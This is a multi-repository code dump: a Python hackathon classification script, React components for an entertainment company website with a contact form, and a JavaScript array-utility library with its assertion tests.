pd.Series(test['g1']).apply(frozenset).to_frame(name='t_genre') t2_te = pd.Series(test['g2']).apply(frozenset).to_frame(name='t_dow') for t_genre in frozenset.union(*t1_te.t_genre): t1_te[t_genre] = t1_te.apply(lambda _: int(t_genre in _.t_genre), axis=1) for t_dow in frozenset.union(*t2_te.t_dow): t2_te[t_dow] = t2_te.apply(lambda _: int(t_dow in _.t_dow), axis = 1) test = pd.concat([test.reset_index(drop=True), t1_te], axis=1) test = pd.concat([test.reset_index(drop=True), t2_te], axis=1) #the rows aren't list exactly. They are object, so we convert them to list and extract the watch time w1 = train['titles'] w1 = w1.str.split(',') #create a nested list of numbers main = [] for i in np.arange(train.shape[0]): d1 = w1[i] nest = [] nest = [re.sub(pattern = '.*\:', repl=' ', string= d1[k]) for k in list(np.arange(len(d1)))] main.append(nest) blanks = [] for i in np.arange(len(main)): if '' in main[i]: #print ("{} blanks found".format(len(blanks))) blanks.append(i) #replacing blanks with 0 for i in blanks: main[i] = [x.replace('','0') for x in main[i]] #converting string to integers main = [[int(y) for y in x] for x in main] #adding the watch time tosum = [] for i in np.arange(len(main)): s = sum(main[i]) tosum.append(s) train['title_sum'] = tosum #making changes in test data w1_te = test['titles'] w1_te = w1_te.str.split(',') main_te = [] for i in np.arange(test.shape[0]): d1 = w1_te[i] nest = [] nest = [re.sub(pattern = '.*\:', repl=' ', string= d1[k]) for k in list(np.arange(len(d1)))] main_te.append(nest) blanks_te = [] for i in np.arange(len(main_te)): if '' in main_te[i]: #print ("{} blanks found".format(len(blanks_te))) blanks_te.append(i) #replacing blanks with 0 for i in blanks_te: main_te[i] = [x.replace('','0') for x in main_te[i]] #converting string to integers main_te = [[int(y) for y in x] for x in main_te] #adding the watch time tosum_te = [] for i in np.arange(len(main_te)): s = sum(main_te[i]) tosum_te.append(s) test['title_sum'] = tosum_te #count variables def wcount(p): return p.count(',')+1 train['title_count'] = train['titles'].map(wcount) train['genres_count'] = train['genres'].map(wcount) train['cities_count'] = train['cities'].map(wcount) train['tod_count'] = train['tod'].map(wcount) train['dow_count'] = train['dow'].map(wcount) test['title_count'] = test['titles'].map(wcount) test['genres_count'] = test['genres'].map(wcount) test['cities_count'] = test['cities'].map(wcount) test['tod_count'] = test['tod'].map(wcount) test['dow_count'] = test['dow'].map(wcount) test_id = test['ID'] train.drop(['ID','cities','dow','genres','titles','tod','g1','g2','t_genre','t_dow'], inplace=True, axis=1) test.drop(['ID','cities','dow','genres','titles','tod','g1','g2','t_genre','t_dow'], inplace=True, axis=1) target_label = train['segment'] #drop unnecessary columns train.drop('segment',inplace=True,axis=1) #Best result - 0.79510 clf = RandomForestClassifier(n_estimators=500,max_depth=12, max_features=10,n_jobs = -1,random_state =10,min_samples_leaf = 40) #clf1 = GradientBoostingClassifier(n_estimators=500, learning_rate=1.0,max_depth=12, random_state=10, min_samples_leaf = 40) #clf2 = AdaBoostClassifier(n_estimators = 1000, learning_rate=0.5, random_state=10) #clf = RandomForestClassifier(n_estimators=100,max_depth=4, max_features=5,n_jobs = -1,random_state =10,min_samples_leaf = 40) # clf1 = RandomForestClassifier(n_estimators=500,max_depth=12, max_features=10,n_jobs = -1,random_state =10,min_samples_leaf = 40) # clf2 = RandomForestClassifier(n_estimators=500,max_depth=12, max_features=8,n_jobs = -1,random_state =5,min_samples_leaf = 5) # clf3 = RandomForestClassifier(n_estimators=500,max_depth=12, max_features=6,n_jobs = -1,random_state =20,min_samples_leaf = 20) #clf2 = GradientBoostingClassifier(n_estimators=500,max_depth=12, max_features=10,random_state =10,min_samples_leaf = 40) #clf3 = AdaBoostClassifier(n_estimators=500,learning_rate=1.0, random_state=10) #eclf = VotingClassifier(estimators=[('rf', clf1), ('rf', clf2), ('rf', clf3)], voting='soft') clf.fit(train, target_label) pred = clf.predict_proba(test) columns = ['segment'] sub = pd.DataFrame(data=pred[:,1], columns=columns) sub['ID'] = test_id sub = sub[['ID','segment']] sub.to_csv('india_hacks_hotstar_result.csv', index=False) <file_sep>/README.md # india-hacks-machine-learning-2017 IndiaHacks 2017: Machine Learning
dfef00b6b44b362c27cb35de6dd1479ac9e275ef
[ "Markdown", "Python" ]
3
Python
anu0012/india-hacks-machine-learning-2017
e86762dadd60f15be580500b4444acdf59cb4258
1f6d9fda36ee0132090563169d5ad87883ff0808
refs/heads/master
<file_sep>import React from "react"; const Contact = () => ( <React.Fragment> <div className="columns"> <div className="column is-one-third"> <div className="contact-text"> <h2>Contact us</h2> </div> <div className="contact-body"> <br /> <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi non efficitur leo, eget efficitur turpis. Vivamus tincidunt lobortis enim id semper. Sed efficitur felis eu justo pellentesque, at dapibus lorem eleifend. Cras elit sapien, eleifend eu facilisis sit amet, accumsan at mauris. Sed tempus nulla sit amet quam ornare, nec congue diam semper. Nullam placerat dapibus tincidunt. Quisque tristique, nisi et malesuada aliquam, purus ante consectetur purus, in efficitur magna arcu euismod arcu. Nullam mauris justo, egestas et quam non, fermentum consequat ante. Sed ex enim, dictum vel metus vel, egestas tempor nisi. Nullam eget lorem neque. Integer sit amet sagittis metus, id venenatis est. Integer sit amet massa pharetra, congue est lacinia, efficitur enim. Donec nec elit a purus dignissim fermentum. Nunc auctor ac nisl in porttitor. Vestibulum ultricies eleifend libero sit amet venenatis. In eget leo nec diam lobortis faucibus.{" "} </p> </div> </div> <div className="column is-three-quarters"> <div className="contact"> <section className="container" id="contact"> <div className="columns"> <form className="column is-three-quarters" action="https://formspree.io/gaballar@gmail.com" method="POST" > <div className="inputs"> <div className="control-group"> <div className="form-group"> <input required="true" type="text" className="input" placeholder="<NAME>" id="name" required data-validation-required-message="Please enter your name" name="name" /> <p className="help-block text-danger" /> </div> </div> <div className="control-group"> <div className="form-group"> <input required="true" type="email" className="input" placeholder="Your Email" id="email" required data-validation-required-message="Please enter your email" name="_replyto" /> <p className="help-block text-danger" /> </div> </div> <div className="control-group" id="messageBox"> <div className="form-group"> <textarea className="input" rows="4" placeholder="Your Message" id="message" required data-validation-required-message="Please leave a message" name="message" /> <p className="help-block text-danger" /> </div> </div> <div className="text-center"> <div id="success" /> <button type="submit" className="button"> Send </button> </div> </div> </form> </div> </section> </div> </div> </div> </React.Fragment> ); export default Contact; <file_sep>import React from "react"; const Home = () => ( <React.Fragment> <div className="fenceImg"> <img src={require("../../assets/fence.jpg")} className="fence1" style={{ height: "250px" }} /> </div> <div className="home-logo">Picket Fence Entertainment</div> </React.Fragment> ); export default Home; <file_sep>import React, { Component } from "react"; import "../css/footer.css"; class Footer extends Component { render() { return ( <footer className="footer"> <div className="content has-text-centered"> <p> <span className="is-active" id="social"> <i className="fab fa-facebook-f fa-2x" /> <i className="fab fa-instagram fa-2x" /> <i className="fab fa-twitter fa-2x" /> </span> </p> <p> Picket Fence Entertainment does not accept any unsolicited materials of any kind. Any such materials will be destroyed. </p> <p> <span className="is-active"> &copy; 2019 Picket Fence Entertainment </span> </p> </div> </footer> ); } } export default Footer; <file_sep>import React, { Component } from "react"; class About extends Component { render() { return ( <div className="about"> <h2 className="about-head">About</h2> <div className="columns"> <div className="column is-one-third"> <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi non efficitur leo, eget efficitur turpis. Vivamus tincidunt lobortis enim id semper. Sed efficitur felis eu justo pellentesque, at dapibus lorem eleifend. Cras elit sapien, eleifend eu facilisis sit amet, accumsan at mauris. Sed tempus nulla sit amet quam ornare, nec congue diam semper. Nullam placerat dapibus tincidunt. Quisque tristique, nisi et malesuada aliquam, purus ante consectetur purus, in efficitur magna arcu euismod arcu. </p> </div> <div className="column is-one-third"> <p> Cu est paulo regione elaboraret, sea at evertitur consequuntur. Sed noluisse deserunt ut, mel ullum malorum efficiendi ne. Vim te eius consectetuer. Ei his libris numquam, elit libris ocurreret te nam, mel ut consul commune imperdiet. Lorem ipsum dolor sit amet, est inani labitur et. Probo minimum singulis an est, tantas recusabo vis id. Per natum impedit no, eu quo utamur iisque percipitur. </p> </div> <div className="column is-one-third"> <p> Munere integre numquam his in, eros accommodare eu duo. Et usu congue causae, ludus suscipiantur pro in. Ad patrioque mnesarchum constituam his, agam persecuti usu ne. Debet omnium ancillae eum et, at ferri omnesque est. Eu sint vocent probatus quo. Sit nisl voluptatum in, necessitatibus conclusionemque in vix, has ex populo epicuri reprehendunt. </p> </div> </div> </div> ); } } export default About;
04741ae6c014a03065306649c923c2862bfa8417
[ "JavaScript" ]
4
JavaScript
alliewalker/PicketFenceEntertainment
ad5923667c7aebdb22e892ff1a5125176fa6ee1d
58e177ecaa8ff0e15d64bee3f3a6e46fe15a15fc
refs/heads/master
<repo_name>keerthyeb/ArrayAssingnment<file_sep>/arrayLibraryTest.js const assert = require("assert"); const lib = require("./arrayLibrary.js"); const { logTestCase } = require('./testLibrary.js'); const getFunctionSeperator = function(){ let functionSeperator = new Array(92).fill("-").join(""); return functionSeperator; } console.log("No | Test |input | expectedOutput | actualOutput |"); console.log(getFunctionSeperator()); /*--------------------------------------------------------------------------------------------------*/ let {filterOddNumbers} = lib; const testFilterOddNumbers = function(input, expectedOutput) { let actualOutput = filterOddNumbers(input); let message = 'filterOddNumbers'; assert.deepEqual(actualOutput,expectedOutput); console.log(logTestCase({input, expectedOutput, actualOutput, message})); } testFilterOddNumbers([-1], [-1]); testFilterOddNumbers([0],[]); testFilterOddNumbers([1],[ 1 ]); testFilterOddNumbers([2],[]); testFilterOddNumbers([2,4],[]); testFilterOddNumbers([1,3],[ 1, 3 ]); testFilterOddNumbers([2,3],[ 3 ]); testFilterOddNumbers([22,3,4,5],[ 3, 5 ]); console.log(getFunctionSeperator()); /*--------------------------------------------------------------------------------------------------*/ let {filterEvenNumbers} = lib; const testFilterEvenNumbers = function(input, expectedOutput) { let actualOutput = filterEvenNumbers(input); let message = 'filterEvenNumbers'; assert.deepEqual(actualOutput,expectedOutput); console.log(logTestCase({input, expectedOutput, actualOutput, message})); } testFilterEvenNumbers([],[]); testFilterEvenNumbers([1],[]); testFilterEvenNumbers([2],[ 2 ]); testFilterEvenNumbers([2,4],[ 2, 4 ]); testFilterEvenNumbers([1,3],[]); testFilterEvenNumbers([2,3],[ 2 ]); testFilterEvenNumbers([22,3,4,5],[ 22, 4 ]); console.log(getFunctionSeperator()); /*--------------------------------------------------------------------------------------------------*/ let {sumOfNumbers} = lib; const testSumOfNumbers = function(input, expectedOutput) { let actualOutput = sumOfNumbers(input); let message = 'sumOfNumbers'; assert.deepEqual(actualOutput,expectedOutput); console.log(logTestCase({input, expectedOutput, actualOutput, message})); } testSumOfNumbers([],0); testSumOfNumbers([0],0); testSumOfNumbers([3],3); testSumOfNumbers([3,4,2,1],10); console.log(getFunctionSeperator()); /*--------------------------------------------------------------------------------------------------*/ let {reverseNumbers} = lib; const testReverseNumbers = function(input, expectedOutput) { let actualOutput = reverseNumbers(input); let message = 'reverseNumbers'; assert.deepEqual(actualOutput,expectedOutput); console.log(logTestCase({input, expectedOutput, actualOutput, message})); } testReverseNumbers([2,4],[ 4, 2 ]); testReverseNumbers([4,2],[2,4]); testReverseNumbers([1,3],[ 3, 1 ]); testReverseNumbers([2,3],[ 3, 2 ]); testReverseNumbers([22,3,4,5],[ 5, 4, 3, 22 ]); console.log(getFunctionSeperator()); /*--------------------------------------------------------------------------------------------------*/ let {selectSecondNumbers} = lib; const testSelectSecondNumbers = function(input, expectedOutput) { let actualOutput = selectSecondNumbers(input); let message = 'selectSecondNumbers'; assert.deepEqual(actualOutput,expectedOutput); console.log(logTestCase({input, expectedOutput, actualOutput, message})); } testSelectSecondNumbers([2,3],[ 2 ]); testSelectSecondNumbers([22,3,4,5],[ 22, 4 ]); testSelectSecondNumbers([1,2,5,-1,2,4,3,1],[ 1, 5, 2, 3 ]); console.log(getFunctionSeperator()); /*--------------------------------------------------------------------------------------------------*/ let {reverseFibonacci} = lib; const testReverseFibonacci = function(input, expectedOutput) { let actualOutput = reverseFibonacci(input); let message = 'reverseFibonacci'; assert.deepEqual(actualOutput,expectedOutput); console.log(logTestCase({input, expectedOutput, actualOutput, message})); } testReverseFibonacci(5,[ 5, 3, 2, 1, 1 ]); testReverseFibonacci(7,[ 13, 8, 5, 3, 2, 1, 1 ]); testReverseFibonacci(1,[ 1 ]); testReverseFibonacci(2,[ 1, 1 ]); console.log(getFunctionSeperator()); /*--------------------------------------------------------------------------------------------------*/ const testFindGreatestNumber = function(input, expectedOutput) { let actualOutput = findGreatestNumber(input); let message = 'findGreatestNumber'; assert.deepEqual(actualOutput,expectedOutput); console.log(logTestCase({input, expectedOutput, actualOutput, message})); } let {findGreatestNumber} = lib; testFindGreatestNumber([22,3,4,5],22); testFindGreatestNumber([0],0); testFindGreatestNumber([1,1],1); testFindGreatestNumber([0,1],1); testFindGreatestNumber([33,44,23,1],44); console.log(getFunctionSeperator()); /*--------------------------------------------------------------------------------------------------*/ const testFindLowestNumber = function(input, expectedOutput) { let actualOutput = findLowestNumber(input); let message = 'findLowestNumber'; assert.deepEqual(actualOutput,expectedOutput); console.log(logTestCase({input, expectedOutput, actualOutput, message})); } let {findLowestNumber} = lib; testFindLowestNumber([22,3,4,5],3); testFindLowestNumber([0],0); testFindLowestNumber([1,1],1); testFindLowestNumber([0,1],0); testFindLowestNumber([33,44,23,1],1); console.log(getFunctionSeperator()); /*--------------------------------------------------------------------------------------------------*/ const testAverageOfNumbers = function(input, expectedOutput) { let actualOutput = averageOfNumbers(input); let message = 'averageOfNumbers'; assert.deepEqual(actualOutput,expectedOutput); console.log(logTestCase({input, expectedOutput, actualOutput, message})); } let {averageOfNumbers} = lib; testAverageOfNumbers([0],0); testAverageOfNumbers([1,2,3,4],3); testAverageOfNumbers([3,5],4); testAverageOfNumbers([1],1); testAverageOfNumbers([2,4],3); console.log(getFunctionSeperator()); /*--------------------------------------------------------------------------------------------------*/ const testMapLengthOfNames = function(input, expectedOutput) { let actualOutput = findLengthOfNames(input); let message = 'findLengthOfNames'; assert.deepEqual(actualOutput,expectedOutput); console.log(logTestCase({input, expectedOutput, actualOutput, message})); } let {findLengthOfNames} = lib; testMapLengthOfNames(["keerthy"],[7]); testMapLengthOfNames(["keerthy","pannapur"],[7,8]); testMapLengthOfNames(["amju","moothu"],[4,6]); testMapLengthOfNames([],[]); console.log(getFunctionSeperator()); /*--------------------------------------------------------------------------------------------------*/ const testCountOddNumbers = function(input, expectedOutput) { let actualOutput = countOddNumbers(input); let message = 'countOddNumbers'; assert.deepEqual(actualOutput,expectedOutput); console.log(logTestCase({input, expectedOutput, actualOutput, message})); } let {countOddNumbers} = lib; testCountOddNumbers([],0); testCountOddNumbers([1],1); testCountOddNumbers([2],0); testCountOddNumbers([2,4],0); testCountOddNumbers([1,3],2); testCountOddNumbers([2,3],1); testCountOddNumbers([22,3,4,5],2); console.log(getFunctionSeperator()); /*--------------------------------------------------------------------------------------------------*/ const testCountEvenNumbers = function(input, expectedOutput) { let actualOutput = countEvenNumbers(input); let message = 'countEvenNumbers'; assert.deepEqual(actualOutput,expectedOutput); console.log(logTestCase({input, expectedOutput, actualOutput, message})); } let {countEvenNumbers} = lib; testCountEvenNumbers([],0); testCountEvenNumbers([1],0); testCountEvenNumbers([2],1); testCountEvenNumbers([2,4],2); testCountEvenNumbers([1,3],0); testCountEvenNumbers([2,3],1); testCountEvenNumbers([22,3,4,5],2); console.log(getFunctionSeperator()); /*--------------------------------------------------------------------------------------------------*/ let {countNumbersAboveThreshold} = lib; assert.deepEqual(countNumbersAboveThreshold([2,3,4,5,6],3),3); assert.deepEqual(countNumbersAboveThreshold([2,3,4,5],10),0); assert.deepEqual(countNumbersAboveThreshold([11,12,13],10),3); assert.deepEqual(countNumbersAboveThreshold([],3),0); assert.deepEqual(countNumbersAboveThreshold([2,3,4,5,6],6),0); /*--------------------------------------------------------------------------------------------------*/ let {countNumbersBelowThreshold} = lib; assert.deepEqual(countNumbersBelowThreshold([2,4,5,6],3),1); assert.deepEqual(countNumbersBelowThreshold([2,3,5],10),3); assert.deepEqual(countNumbersBelowThreshold([11,12,13],10),0); assert.deepEqual(countNumbersBelowThreshold([],3),0); assert.deepEqual(countNumbersBelowThreshold([2,3,5],6),3); /*--------------------------------------------------------------------------------------------------*/ let {indexOf} = lib; assert.deepEqual(indexOf([2,3,4,5,6],3),1); assert.deepEqual(indexOf([2,3,4,5],10),-1); assert.deepEqual(indexOf([11,12,13,10],10),3); assert.deepEqual(indexOf([],3),-1); assert.deepEqual(indexOf([2,3,4,5,6],6),4); /*--------------------------------------------------------------------------------------------------*/ const testExtractDigit = function(input, expectedOutput) { let actualOutput = extractDigit(input); let message = 'extractDigit'; assert.deepEqual(actualOutput,expectedOutput); console.log(logTestCase({input, expectedOutput, actualOutput, message})); } let {extractDigit} = lib; testExtractDigit(2345,[2,3,4,5]); testExtractDigit(23455,[2,3,4,5,5]); testExtractDigit(780,[7,8,0]); console.log(getFunctionSeperator()); /*--------------------------------------------------------------------------------------------------*/ const testIsSorted = function(input, expectedOutput) { let actualOutput = isSorted(input); let message = 'isSorted'; assert.deepEqual(actualOutput,expectedOutput); console.log(logTestCase({input, expectedOutput, actualOutput, message})); } let {isSorted} = lib; testIsSorted([1,2,3,4,5],true); testIsSorted([1],true); testIsSorted([1,2,5,4,3],false); testIsSorted([5,4,3,2,1],false); console.log(getFunctionSeperator()); /*--------------------------------------------------------------------------------------------------*/ const testIsInDecendingOrder = function(input, expectedOutput) { let actualOutput = isInDecendingOrder(input); let message = 'isInDecendingOrder'; assert.deepEqual(actualOutput,expectedOutput); console.log(logTestCase({input, expectedOutput, actualOutput, message})); } let {isInDecendingOrder} = lib; testIsInDecendingOrder([1,2,3,4,5],false); testIsInDecendingOrder([1],true); testIsInDecendingOrder([1,2,5,4,3],false); testIsInDecendingOrder([5,4,3,2,1],true); console.log(getFunctionSeperator()); /*--------------------------------------------------------------------------------------------------*/ let {intersectionOf} = lib; assert.deepEqual(intersectionOf([1,2,3,4,5],[4,5,6,3,7]),[3,4,5]); assert.deepEqual(intersectionOf([4,5,6,7],[1,2,3,4]),[4]); assert.deepEqual(intersectionOf([1,2,3,4],[5,6,7,8]),[]); assert.deepEqual(intersectionOf([0],[0]),[0]); assert.deepEqual(intersectionOf(["keerthy","amju","moothu"],["amju"]),["amju"]); /*--------------------------------------------------------------------------------------------------*/ const testUniqueOf = function(input, expectedOutput) { let actualOutput = uniqueOf(input); let message = 'uniqueOf'; assert.deepEqual(actualOutput,expectedOutput); console.log(logTestCase({input, expectedOutput, actualOutput, message})); } let {uniqueOf} = lib; testUniqueOf([1,2,3,4,1,2],[1,2,3,4]); testUniqueOf(["amju","mothu","amju"],["amju","mothu"]); testUniqueOf([],[]); testUniqueOf([1,2,3],[1,2,3]); console.log(getFunctionSeperator()); /*--------------------------------------------------------------------------------------------------*/ let {unionOf}= lib; assert.deepEqual(unionOf([1,2,3,4,5],[4,5,6,3,7]),[1,2,3,4,5,6,7]); assert.deepEqual(unionOf([4,5,6,7],[1,2,3,4]),[4,5,6,7,1,2,3]); assert.deepEqual(unionOf([1,2,3,4],[5,6,7,8]),[1,2,3,4,5,6,7,8]); assert.deepEqual(unionOf([0],[0]),[0]); assert.deepEqual(unionOf(["keerthy","amju"],["moothu","amju"]),["keerthy","amju","moothu"]); assert.deepEqual(unionOf([10,10],[10]),[10]); /*--------------------------------------------------------------------------------------------------*/ let {differenceOf} =lib; assert.deepEqual(differenceOf([1,2,3,4,5],[4,5,6,3,7]),[1,2]); assert.deepEqual(differenceOf([4,5,6,7],[1,2,3,4]),[5,6,7]); assert.deepEqual(differenceOf([1,2,3,4],[5,6,7,8]),[1,2,3,4]); assert.deepEqual(differenceOf([0],[0]),[]); assert.deepEqual(differenceOf(["keerthy","amju","moothu"],["amju"]),["keerthy","moothu"]); /*--------------------------------------------------------------------------------------------------*/ let {isSubset} = lib; assert.deepEqual(isSubset([1,2,3,4],[2,3]),true); assert.deepEqual(isSubset(["keerthy","moothu"],["moothu"]),true); assert.deepEqual(isSubset([1,2,3],[3,4]),false); assert.deepEqual(isSubset([1,2,3],[5,6]),false); /*--------------------------------------------------------------------------------------------------*/ let {zip} = lib; assert.deepEqual(zip([1,2,3],[4,5,6]),[[1,4],[2,5],[3,6]]); assert.deepEqual(zip([],[]),[]); assert.deepEqual(zip([1,2,3],[4,5]),[[1,4],[2,5]]); assert.deepEqual(zip([1,2,],[7,8,9]),[[1,7],[2,8]]); /*--------------------------------------------------------------------------------------------------*/ let {rotate} = lib; assert.deepEqual(rotate([1,2,3,4,5],2),[3,4,5,1,2]); assert.deepEqual(rotate([1,2,3,4,5],4),[5,1,2,3,4]); /*--------------------------------------------------------------------------------------------------*/ let {partition} = lib; assert.deepEqual(partition([1,2,7,4,9,10,5],5),[[1,2,4,5],[7,9,10]]); assert.deepEqual(partition([2,3,4,5,6],6),[[2,3,4,5,6],[]]); assert.deepEqual(partition([4,5,8,0],5),[[4,5,0],[8]]); console.log("all test passed"); <file_sep>/library.js const {partitionEvenOdd} = require("../arrayAssignment/listOfOddAndEvenNumbers.js"); const filterOddNumbers = function(numbers){ let oddAndEvenNumbers = partitionEvenOdd(numbers); return oddAndEvenNumbers["oddNumbers"]; } const filterEvenNumbers = function(numbers){ let oddAndEvenNumbers = partitionEvenOdd(numbers); return oddAndEvenNumbers["evenNumbers"]; } const sumOfNumbers = function(numbers){ let numbersLength = numbers.length; let sum = 0; for(let number of numbers){ sum += number; } return sum; } const reverseNumbers = function(numbers){ let numbersLength = numbers.length; let reverseNumbers = []; for(let index = numbersLength-1;index >= 0 ; index--){ reverseNumbers.push(numbers[index]); } return reverseNumbers; } const selectSecondNumbers = function(numbers){ let secondNumbers = []; for(let index = 0; index < numbers.length ; index += 2 ){ secondNumbers.push(numbers[index]); } return secondNumbers; } const reverseFibonacci = function(limit){ let fibonacci = []; let nextTerm = 1; let currentTerm = 1; let previousTerm = 0; for(index = 0; index < limit ; index++){ fibonacci.push(nextTerm); //fibonacci.unshift(nextTerm) nextTerm = currentTerm + previousTerm; previousTerm = currentTerm; currentTerm = nextTerm; } let reversedFibonacci = reverseNumbers(fibonacci); return reversedFibonacci; } const greatestNumber = function(numbers){ let greatestNumber = 0; for(let number of numbers){ if(greatestNumber < number){ greatestNumber = number; } } return greatestNumber; } const lowestNumber = function(numbers){ let lowestNumber = numbers[0]; for(let number of numbers){ if(lowestNumber > number){ lowestNumber = number; } } return lowestNumber; } const averageOfNumbers = function(numbers){ let sum = sumOfNumbers(numbers); let numbersLength = numbers.length; let averageOfNumbers = Math.round(sum/numbersLength); return averageOfNumbers; } const mapLengthOfNames = function(names){ let lengthOfNAmes = [] for(let name of names){ lengthOfNAmes.push(name.length); } return lengthOfNAmes; } const countOddNumbers = function(numbers){ let oddNumbers = filterOddNumbers(numbers); let oddNumberCount = oddNumbers.length; return oddNumberCount; } const countEvenNumbers = function(numbers){ let evenNumbers = filterEvenNumbers(numbers); let evenNumberCount = evenNumbers.length; return evenNumberCount; } const countNumbersAbove = function(numbers,threshold){ let numberCountAboveThreshold = 0; for(let number of numbers){ if(number > threshold){ numberCountAboveThreshold++; } } return numberCountAboveThreshold; } const countNumbersBelow = function(numbers,threshold){ let numberCountBelowThreshold = 0; for(let number of numbers){ if(number < threshold){ numberCountBelowThreshold++; } } return numberCountBelowThreshold; } const reverseArray = function(numbers){ let arrayLength = numbers.length; let reverseArray = []; for(let index = arrayLength-1;index >= 0 ; index--){ reverseArray.push(numbers[index]); } return reverseArray; } const indexOfNumber = function(numbers,number){ let index = -1; for(let num of numbers){ if(number == num ){ index = numbers.indexOf(number); } } return index; } const extractDigit = function(number){ let extractedArray = []; let index =number while(index>0){ extractedArray.unshift(index%10); index = Math.floor(index / 10); } return extractedArray; } const isSorted = function(numbers){ let isSorted = true; for(let index = 0; index < numbers.length-1 ; index++){ if(numbers[index] > numbers[index+1]){ return false; } } return true; } const isInDecendingOrder = function(numbers){ let isInDecendingOrder = true; for(let index = 0; index < numbers.length-1 ; index++){ if(numbers[index] < numbers[index+1]){ return false; } } return true; } const intersectionOf2Arrays =function(set1,set2){ let intersectedArray = []; let referenceArray = []; for(let element of set1){ referenceArray[element] = element; } for(let element of set2){ if(referenceArray[element] == element){ intersectedArray.push(element); } } return intersectedArray; } const uniqueElements = function(elements){ let uniqueElements = []; for(let item of elements){ const shouldAdd =! uniqueElements.includes(item); if(shouldAdd){ uniqueElements.push(item); } } return uniqueElements; } const unionOf2Array = function(set1,set2){ let union = set1 for(let item of set2){ const shouldAdd =! union.includes(item); if(shouldAdd){ union.push(item); } } union = uniqueElements(union); return union; } exports.filterOddNumbers = filterOddNumbers; exports.filterEvenNumbers = filterEvenNumbers; exports.sumOfNumbers = sumOfNumbers; exports.reverseNumbers = reverseNumbers; exports.greatestNumber = greatestNumber; exports.lowestNumber = lowestNumber; exports.selectSecondNumbers = selectSecondNumbers; exports.averageOfNumbers = averageOfNumbers; exports.mapLengthOfNames = mapLengthOfNames;; exports.countEvenNumbers = countEvenNumbers; exports.countOddNumbers = countOddNumbers; exports.reverseFibonacci = reverseFibonacci; exports.countNumbersAbove = countNumbersAbove; exports.countNumbersBelow = countNumbersBelow; exports.reverseArray = reverseArray; exports.indexOfNumber = indexOfNumber; exports.extractDigit = extractDigit; exports.isSorted = isSorted; exports.isInDecendingOrder = isInDecendingOrder; exports.intersectionOf2Arrays = intersectionOf2Arrays; exports.uniqueElements= uniqueElements; exports.unionOf2Array = unionOf2Array; <file_sep>/test.js const assert = require("assert"); let lib = require("./library.js"); let {filterOddNumbers} = lib ; let {filterEvenNumbers} = lib ; let {sumOfNumbers} = lib ; let {reverseNumbers} = lib ; let {selectSecondNumbers} = lib ; let {reverseFibonacci} = lib ; let {greatestNumber} = lib ; let {lowestNumber} = lib ; let {averageOfNumbers} = lib ; let {mapLengthOfNames} = lib ; let {countOddNumbers} = lib ; let {countEvenNumbers} = lib ; let {countNumbersAbove} = lib; let {countNumbersBelow} = lib; let {reverseArray} = lib; let {indexOfNumber} = lib; let {extractDigit} = lib; let {uniqueOfNumbers} = lib; let {isSorted} = lib; let { isInDecendingOrder} = lib; let {intersectionOf2Arrays} = lib; let {uniqueElements} = lib; let {unionOf2Array} = lib; assert.deepEqual(filterOddNumbers([]),[]); assert.deepEqual(filterOddNumbers([1]),[ 1 ]); assert.deepEqual(filterOddNumbers([2]),[]); assert.deepEqual(filterOddNumbers([2,4]),[]); assert.deepEqual(filterOddNumbers([1,3]),[ 1, 3 ]); assert.deepEqual(filterOddNumbers([2,3]),[ 3 ]); assert.deepEqual(filterOddNumbers([22,3,4,5]),[ 3, 5 ]); assert.deepEqual(filterEvenNumbers([]),[]); assert.deepEqual(filterEvenNumbers([1]),[]); assert.deepEqual(filterEvenNumbers([2]),[ 2 ]); assert.deepEqual(filterEvenNumbers([2,4]),[ 2, 4 ]); assert.deepEqual(filterEvenNumbers([1,3]),[]); assert.deepEqual(filterEvenNumbers([2,3]),[ 2 ]); assert.deepEqual(filterEvenNumbers([22,3,4,5]),[ 22, 4 ]); assert.deepEqual(sumOfNumbers([]),0); assert.deepEqual(sumOfNumbers([0]),0); assert.deepEqual(sumOfNumbers([3]),3); assert.deepEqual(sumOfNumbers([3,4,2,1]),10); let _2_4 = [2,4]; assert.deepEqual(reverseNumbers(_2_4),[ 4, 2 ]); assert.deepEqual(_2_4,[2,4]); assert.deepEqual(reverseNumbers([1,3]),[ 3, 1 ]); assert.deepEqual(reverseNumbers([2,3]),[ 3, 2 ]); assert.deepEqual(reverseNumbers([22,3,4,5]),[ 5, 4, 3, 22 ]); assert.deepEqual(selectSecondNumbers([2,3]),[ 2 ]); assert.deepEqual(selectSecondNumbers([22,3,4,5]),[ 22, 4 ]); assert.deepEqual(selectSecondNumbers([1,2,5,-1,2,4,3,1]),[ 1, 5, 2, 3 ]); assert.deepEqual(reverseFibonacci(5),[ 5, 3, 2, 1, 1 ]); assert.deepEqual(reverseFibonacci(7),[ 13, 8, 5, 3, 2, 1, 1 ]); assert.deepEqual(reverseFibonacci(1),[ 1 ]); assert.deepEqual(reverseFibonacci(2),[ 1, 1 ]); assert.deepEqual(greatestNumber([22,3,4,5]),22); assert.deepEqual(greatestNumber([0]),0); assert.deepEqual(greatestNumber([1]),1); assert.deepEqual(greatestNumber([0,1]),1); assert.deepEqual(greatestNumber([33,44,23,1]),44); assert.deepEqual(lowestNumber([22,3,4,5]),3); assert.deepEqual(lowestNumber([0]),0); assert.deepEqual(lowestNumber([1]),1); assert.deepEqual(lowestNumber([0,1]),0); assert.deepEqual(lowestNumber([33,44,23,1]),1); assert.equal(averageOfNumbers([0]),0); assert.equal(averageOfNumbers([1,2,3,4]),3); assert.equal(averageOfNumbers([3,5]),4); assert.equal(averageOfNumbers([1]),1); assert.equal(averageOfNumbers([2,4]),3); assert.deepEqual(mapLengthOfNames(["keerthy"]),[7]); assert.deepEqual(mapLengthOfNames(["keerthy","pannapur","deepika"]),[7,8,7]); assert.deepEqual(mapLengthOfNames(["amju","moothu"]),[4,6]); assert.deepEqual(mapLengthOfNames([]),[]); assert.deepEqual(countOddNumbers([]),0); assert.deepEqual(countOddNumbers([1]),1); assert.deepEqual(countOddNumbers([2]),0); assert.deepEqual(countOddNumbers([2,4]),0); assert.deepEqual(countOddNumbers([1,3]),2); assert.deepEqual(countOddNumbers([2,3]),1); assert.deepEqual(countOddNumbers([22,3,4,5]),2); assert.deepEqual(countEvenNumbers([]),0); assert.deepEqual(countEvenNumbers([1]),0); assert.deepEqual(countEvenNumbers([2]),1); assert.deepEqual(countEvenNumbers([2,4]),2); assert.deepEqual(countEvenNumbers([1,3]),0); assert.deepEqual(countEvenNumbers([2,3]),1); assert.deepEqual(countEvenNumbers([22,3,4,5]),2); 